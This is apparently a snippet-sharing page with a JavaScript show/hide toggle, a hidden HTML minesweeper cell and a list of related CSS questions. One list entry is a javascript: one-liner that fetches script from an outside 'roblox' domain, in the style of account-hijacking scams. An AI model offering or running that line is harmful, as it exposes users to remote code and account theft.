Show hidden message html

Html button that hide and show

<button onclick="toggleText()">button</button>
<p id="Myid">Text</p>
<script>
function toggleText(){
  var x = document.getElementById("Myid");
  if (x.style.display === "none") {
    x.style.display = "block";
  } else {
    x.style.display = "none";
  }
}
</script>

Show hidden message html

<div class="cell hidden" data-testid="mine" style="display: none;"><div class="image__container" style="display: none;"><img class="" alt="bombs" src="/static/media/bomb.1e1f8a78.svg"></div></div>

Similar codes

0 vote210 views1 answer
Tar xz
CSS
0 vote239 views1 answer
Change link color in wordpress
CSS
0 vote244 views1 answer
Checkbox before stretching with css
CSS
0 vote197 views1 answer
Añadir hojas css externas a wordpress
CSS
-1 vote193 views2 answers
How to use before pseudo class in css
CSS
3 votes372 views1 answer
How to use bulma in gatsby
CSS Bulma
1 vote220 views2 answers
How to make background more darker with css
CSS
0 vote175 views1 answer
Ubuntu phantomjs wrong paper size
CSS
1 vote202 views1 answer
Css target except id
CSS
0 vote211 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
CSS